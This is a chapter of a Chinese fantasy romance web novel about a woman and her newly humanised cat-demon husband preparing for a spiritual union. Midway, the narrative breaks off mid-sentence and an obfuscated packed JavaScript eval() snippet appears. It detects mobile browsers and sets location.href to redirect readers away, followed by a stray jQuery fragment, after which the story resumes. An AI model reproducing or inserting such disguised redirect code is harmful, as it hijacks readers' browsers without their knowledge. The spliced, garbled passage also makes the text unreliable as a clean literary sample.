22. 神交

作品:《高冷前夫竟是恋爱脑小猫

    林妙五有点心虚。


    她馋他,可他才刚化形,放在妖界也只是个半大的孩子。


    她无奈望天,他不能一直当个孩子,放着满身的修为浪费,九重天还需要他坐镇,四界秩序还需要他。


    她出卖一下色相?其实她心底里有点开心。


    二人本就是夫妻,做这些本就是天经地义,再者与他,她一点都不亏,抱着舒服,亲着舒服,他如今的态度,看着是个好相与的,她不仅不排斥与他神交,还隐隐期盼。


    “晚上再说吧。”她摸了摸热乎乎的脸,暂且让她再想想。


    徐青崖乖乖地点头,道:“什么办法我都能接受的,我不想再一次被困在猫身里看着主人差点身死,我想保护主人,也想做一个好的妖王。”


    “好。”


    “如果,我做了对不起你的事情,你能原谅主人吗?”她问。


    “对不起我的事?”徐青崖愣住,她做了什么?爱别人?和别人亲了?给别人写情书了?


    “就是,企图夺走你的清白……”林妙五扶额。


    徐青崖舒了一口气,他清白早几千年前就被她夺了,不仅没有对不起他,他还非常乐意。


    “你情我愿的事,怎么能算主人夺走我的清白,而且我也会对主人负责的o.O。”


    “那你……晚上洗干净点……”说完林妙五就把他推出房门,“你你你,其实我还要做一点准备。”


    徐青崖笑了,道:“好,都听主人的。”


    合上门的林妙五立马捂住自己的脸,自己在!干!嘛!


    堂而皇之地对别人发出了夺走清白的邀请!


    中间不排除有她自己的私心。


    她摸了摸自己烫烫的脸,忽然想起来午睡时徐青崖烫烫的腰,暖融融的被窝。


    神交之前要做什么准备呢,这种事情她不好意思问师父,也不好意思问别的妖怪,找了几本话本子,决定依葫芦画瓢。


    第一步,沐浴。


    第二步,暗戳戳地靠近。


    第三步,睡过去。


    确定好计划后,时候也不早,窗外黑沉沉的,林妙五故作淡定地拉开了门。


    徐青崖看向她的眼神倒是很自然,一点羞耻的意味都无。


    她现在是他的主人,自然也要做好表率,于是她深吸一口气,直起后背,想平常地和他打个招呼。


    “主人,现在开始吗?”


    没想到徐青崖这么急不可耐的林妙五瞬间石化,她刚刚要打招呼说什么来着?


    她立马结巴了:“现——在吗?”


    “嗯,我烧好了水给主人放浴桶里了,主人要洗吗?”


    “洗!洗!”虽然提出神交邀请的是她,但是她还需要点时间准备准备,沐浴是个不错的选择。


    徐青崖很知礼,见她要脱衣裳,忙便退了出去,合好房门。


    夜里的冷风顺着窗户缝隙钻进来,林妙五打了个冷战,合好窗户,想到一个人孤零零坐外边的徐青崖。


    她捏住半解的衣裳,拉开房门,推推他的后背:“进来吧,外面好冷,里面隔着屏风没事的。”


    “可是主人说过男女授受不亲,我怕主人不想让我看。”


    徐青崖起身,目光落在她半解又紧捏出褶子的领口上,脱了自己的外裳给她披上:“主人不要为了我着凉,我还是进去吧。”


    林妙五欲言又止。


    隔着一道屏风,徐青崖老老实实地坐下,听着身后水划过女人皮肤的声音。


    林妙五舒服地摊在浴桶里,平日她都犯懒用法术清洗身子,没想到有人放好水沐浴是如此幸福的一件事,就连要和徐青崖神交的紧张也没了。


    话说回来,要怎么神交……


    她不会。


    话本子里说睡过去就好了。


    不过书贩子说他卖的书都是正版清水文,想看更刺激的,得加钱。


    因为非清水的不好买,都是书贩子手抄的。


    书到用时方恨少。


    她当时攒钱买猫粮呢,就没忍心买手抄版,神交大抵和双修差不多?还是一起来?


    反正都挺色的。


    洗了一会,她嘴馋了,要是此时有人喂她吃荔枝就好了,毕竟舒服的事情要和舒服的事情放在一起做。


    徐青崖坐在外边,想起从前她最喜欢在他的灵泉里泡澡,他就负责喂她吃东西,给她打理头发,也不知现在她是不是保留这样的习惯。


    闭眼泡澡正酣,林妙五忽然闻到了一股果香。


    她睁开眼,徐青崖一本正经地端着一个装满荔枝的盘子在一旁。


    “张嘴。”


    她乖顺地张嘴,甜滋滋的味道在口中绽开,含糊不清补上一句:“还要!”


    “不知餍足。”


    “怎么不知餍足了,这荔枝可好吃了,你来一个?”林妙五最喜欢吃荔枝,他合她心意。


    徐青崖本就是逗他,笑着道:“我怕主人吃饱了,待会睡着。”


    “不会的!你的荔枝很好吃,没有籽!我喜欢你!过来过来,靠我近一点。”林妙五开心地招呼他。


    她亲了他的脸一口。


    他的侧脸很好看,线条锐利分明,不做表情时看起来硬邦邦的,但是亲上去却是软软的触感。


    “主人会神交吗?早些时候主人喊我做准备,我了解了一点。”


    听徐青崖这么说,林妙五就放心了,毕竟她是一窍不通。


    然而她还想装装场面,否则可不下了自己主人的威风?


    她骗他道:“我当然会,待会我教你。”


    “嗯?”徐青崖表情有一瞬间的呆滞,她没了记忆,谁教她的?


    哪个野男人?野妖怪?野神仙?


    “我们来交流一下学习成果,你先说。”林妙五心里没底,还是想套出些话,坐直了身子。


    见她这反应,徐青崖低低笑了声,她还和以前一样,说谎套话就喜欢坐直身子假装一本正经。


    没有野男人野妖怪野神仙就行。


    “主人,我学到的神交便是神识相交,如果身体力行便更好。”


    林妙五睁大眼睛:“那会疼吗?”


    “技巧好的话,不会。”


    “那你技巧好吗?”


    “你有学到技巧吗?”林妙五巴巴问了两个问题。


    徐青崖沉默了,回想了一下之前与她的场景,她是满意的。


    他点头:“主人,我什么都学得很快,而且我不会让主人疼。”


    “疼……”林妙五想起书上确实零零散散提过这么一嘴。


    “嗯,很多男人都不在乎女人的感受,只顾着自己开心,可我不会,我会对主人很好的,只要主人舒服,我怎么样都行。”


    他一字字说的认真,对她好的话好像在立誓。


    她暂且信他。


    “抱我起来。”


    徐青崖看着水面下那具身体,脸烧了起来。


    “主人只是出于修为原因才要与我神交吗,主人如果害怕,或者还没准备好,可以拒绝,我不想因为我自己的原因逼主人。”


    徐青崖从前只知近乡情怯,却不曾想再次触碰她,也莫名有了胆怯,她大抵是因为那句修为的原


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906327|192119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    因才答应他,不是因为喜欢,哪怕只是身体上的喜欢也行。


    他后悔找借口了。


    “你以为我只是在帮你恢复使用修为的能力?”


    “嗯。”


    “我……”林妙五一顿,总不能直说自己馋他身子,“我们新婚之夜没有圆房,我受了很多笑话和白眼,你不能娶了我不对我负责,如今我给你弥补的机会,你不用算了。”


    说罢,她不顾他在一旁,飞快起身,取了纱衣披在身上,甩手要走。


    徐青崖拉住她,道:“那主人爱我吗?”


    林妙五一愣:“为什么这么说?”


    “书上说,两情相悦之人才可以进入对方的神识,才能顺利神交,否则会很疼,如果主人会疼,我不想让主人为了我受委屈。也不想知道……


    主人对我只是同情,不是爱。”


    林妙五心一紧。


    她对他,当然是爱。


    不爱怎么会想救他碎魂,不爱怎么会把他带在身边养着,不爱怎么会贪恋他的温暖。


    可她时常分不清是对猫儿的还是对他。


    “爱不爱,我们试一下不就知道了。”


    “好。”


    他步步紧逼她,等到她背靠墙角的时候,才惊觉她面对的不再是从前那个任她蹂躏的猫儿,是徐青崖。


    蜡烛哔的一声,流下一滴蜡油。


    他的影子轻而易举笼罩住她。


    她站在原地,脑子里大胆而光怪陆离的想法一扫而空,几千年来,她见过不少男人,可却没有一个男人让她愿意提出神交双修,也没有一个男人让她有亲吻拥抱的想法。


    他是第一个。


    原本只是贪恋他的色相,如今她居然真的考虑起和他的未来。


    是基于连日的相处还是近日他温暖体贴的所作所为,还是那个默默付出,却被神仙抢了香火的他,在他温热的呼吸里,她忽然分不清自己是什么时候愿意接纳他了。


    以至于愿意将自己最柔软的地方给他触碰。


    他也许是蓄意勾-引,但他成功了,她吃这一套。


    其实温暖的房间不止这一间,他没必要守在屋外吹夜风,她也没必要让他进来,可她让他进来了,还故意捏着半解的衣领,露出她分明的锁骨。


    林妙五摸过他是猫儿时的背,松软的毛发下是有些硬的背骨。然而男人此刻的背比那时更挺拔,更生硬。


    他做猫儿的时候,她喜欢捏捏他的爪子,搂着他的脖颈蹭来蹭去,将他整个躯体拢在自己怀里,眼下都反了,她自己就像那猫儿,他一点点试探她最喜欢的姿势和抚摸力道。


    人间的夜不及天上,夹着刺骨的冷,她缩在他怀里,两具温热的躯体紧贴在一起,她意识到自己真的需要他的温暖。


    他忽然重重吻了下来,夹着隐忍已久的爱意和冲动,她迷茫地接受这个爱意超出她认知的吻。


    “你……也这样吻过别人吗?”


    “从头到尾,只有主人。”


    她放下心。


    情到浓时,徐青崖额头抵住她的额头,拽着她入了灵府。


    她似乎完全拥有了他。


    他的一切在此刻全都是她的,深厚的修为,通透的五感,还有浓烈的对她的爱。


    这一刻,在他绵绵不断的爱意影响下,她都好爱自己。


    爱自己的品格,爱自己的生命,爱自己的身体,爱自己的一切。


    原来爱人的喜欢会让人自爱,林妙五迷迷糊糊地想,那自己的爱能不能让他也感到浓烈的爱意呢……


    她也想让他和她一样幸福。